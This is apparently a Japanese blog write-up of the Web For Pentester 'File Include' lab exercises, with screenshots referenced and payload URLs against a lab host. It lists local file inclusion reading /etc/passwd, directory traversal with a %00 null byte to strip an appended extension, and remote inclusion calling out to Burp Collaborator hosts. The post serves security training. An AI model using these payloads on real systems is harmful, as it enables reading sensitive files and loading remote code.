Shikata Ga Nai

Private? There is no such things.

Web For PentesterのFile Includeをやってみた

Hello there, ('ω')ノ

 

File Includeを。

 

f:id:ThisIsOne:20210506155529p:plain

 

まずは、Example1を。

ツールの制度を確かめるためにもアクティブスキャンを。

 

f:id:ThisIsOne:20210506155620p:plain

 

スキャンで使われたペイロードを理解して、シンプルなものを。

 http://192.168.0.204/fileincl/example1.php?page=/etc/passwd

 

f:id:ThisIsOne:20210506155756p:plain

 

帯域外リソースロードについても出ていたので確認を。

 http://192.168.0.204/fileincl/example1.php?page=http://5djq9oakzgd045vj3ferzxshh8n1bszin9azyo.burpcollaborator.net/?intro.php

 

f:id:ThisIsOne:20210506160101p:plain

 

次にExample2を。

 

f:id:ThisIsOne:20210506155659p:plain

 

ペイロードの内容は、デコードして確認を。

 

f:id:ThisIsOne:20210506160625p:plain

 

デコードしたペイロードをそのまま挿入しても結果を得られず。

 http://192.168.0.204/fileincl/example2.php?page=../../../../../../../../../../../../../../../../etc/passwdintro

 

f:id:ThisIsOne:20210506160735p:plain

 

URLエンコードのペイロードの内容をよくみるとヌルバイトが追加されていたので。

 http://192.168.0.204/fileincl/example2.php?page=../../../../../../../../../../../../../../../../etc/passwd%00intro

f:id:ThisIsOne:20210506160825p:plain

 

phpがNull文字を検出すると、残りのコードは実行されないので。

ブラウザからNullを送信するには、エンコード形式(%00)を使用する必要があって。

 http://192.168.0.204/fileincl/example2.php?page=http://google.com%00

 

f:id:ThisIsOne:20210506161156p:plain

 

他には、拡張子を除いたケースなどいろいろと。

 http://192.168.0.204/fileincl/example2.php?page=http://192.168.0.204/index

 

 http://192.168.0.204/fileincl/example2.php?page=http://3y2oumvikeyyp3ghodzpkvdf268zwski89vzjo.burpcollaborator.net?

 

 http://192.168.0.204/fileincl/example2.php?page=http://3y2oumvikeyyp3ghodzpkvdf268zwski89vzjo.burpcollaborator.net/

 

Best regards, (^^ゞ